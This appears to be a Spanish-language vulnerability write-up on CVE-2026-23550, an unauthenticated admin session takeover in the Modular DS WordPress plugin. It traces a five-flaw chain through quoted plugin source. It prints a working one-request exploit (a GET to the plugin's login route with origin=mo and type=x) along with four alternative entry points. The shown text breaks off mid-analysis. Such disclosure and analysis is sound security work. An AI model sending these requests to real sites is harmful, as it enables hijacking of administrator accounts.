
Análisis de causa raíz, PoC y guía de detección para CVE-2026-23550, una toma de control crítica de sesión de administrador no autenticada en el plugin de WordPress Modular DS.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
Análisis de Causa Raíz · Recorrido del Código Fuente · Diferencia del Parche · PoC Educativo
Por: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) es un plugin de WordPress para la gestión de sitios con más de 40.000 instalaciones activas. Las versiones ≤ 2.5.1 contienen una cadena de cinco defectos que se combinan para permitir que cualquier atacante no autenticado omita la autenticación, invoque el endpoint interno de inicio de sesión del plugin y reciba una cookie de sesiónwordpress_logged_in_*para la primera cuenta de administrador — con una única petición HTTP GET.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
Resultado: control total de administrador. El atacante puede instalar plugins maliciosos, colocar webshells, crear cuentas de administrador de respaldo, extraer la base de datos.
| Campo | Valor |
|---|---|
| Nombre del Plugin | Modular DS |
| Slug | modular-connector |
| Vulnerable | <= 2.5.1 |
| Parcheado | 2.5.2 |
| Instalaciones Activas | ~40.000 |
| CVSS v3.1 | 10.0 / CRÍTICO (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — Fallos de Identificación y Autenticación |
La vulnerabilidad activa un enrutador personalizado derivado de Laravel integrado en el plugin. El plugin incluye su propio kernel HTTP (Ares/Framework) que se engancha a la acción parse_request de WordPress para secuestrar las peticiones antes de que el propio enrutamiento de WordPress tome el control.
Requisitos previos: ninguno (plugin instalado y activo, conectado a Modular SaaS — predeterminado para todas las instalaciones activas).
Puntos de entrada (cualquier uno es suficiente):
/api/modular-connector/login/<cualquiera>?origin=mo&type=<cualquiera>
/?rest_route=/api/modular-connector/login/<cualquiera>&origin=mo&type=<cualquiera>
/index.php?rest_route=/api/modular-connector/login/<cualquiera>&origin=mo&type=<cualquiera>
/wp-load.php?origin=mo&type=<cualquiera>
La vulnerabilidad no es un único fallo, sino una cadena de cinco defectos que se combinan. Cada capa, vista de forma aislada, puede parecer defendible; combinadas, colapsan en una toma de control de administrador pre-autenticación.
flowchart TB
A["🌐 Petición del Atacante<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>La puerta se abre solo con parámetros de consulta"]
B --> C["② Router::findRoute()<br/>La URL se resuelve implícitamente a ruta /login"]
C --> D["③ Filtro bindOldRoutes()<br/>Falla en type desconocido"]
D --> E["④ ModularGuard::check()<br/>Valida OAuth del servidor, NO de la petición"]
E --> F["⑤ AuthController::getLogin()<br/>Recae en el primer usuario administrador"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Atacante = Administrador"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
| # | Capa | Archivo | Problema Raíz |
|---|---|---|---|
| ① | Puerta de arranque | HttpUtils.php:64 | Verificación solo de consulta origin=mo sin criptografía/nonce |
| ② | Coincidencia URL→ruta | Router.php:20 | Resolución implícita de URL pasada directamente al filtro |
| ③ | Filtro de anulación de ruta | RouteServiceProvider.php:46 | type desconocido pasa sin cambios con la ruta original intacta |
| ④ | Guardia de autenticación | ModularGuard.php:16 | Valida el estado OAuth del servidor, no la identidad de la petición |
| ⑤ | Controlador de inicio de sesión | AuthController.php:66 | Recurso silencioso a getAdminUser() cuando faltan datos |
HttpUtils::isDirectRequest()Archivo: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ solo parámetro de consulta, sin firma
}
return false;
}
Problema: El modo de "petición directa" — destinado a identificar llamadas legítimas del backend de Modular SaaS — está protegido por parámetros de consulta en texto plano sin HMAC, JWT, nonce firmado ni lista blanca de IPs. Cualquier atacante puede activar este interruptor.
Router::findRoute()Archivo: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ URL resuelta a ruta ANTES de que se ejecute el filtro
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}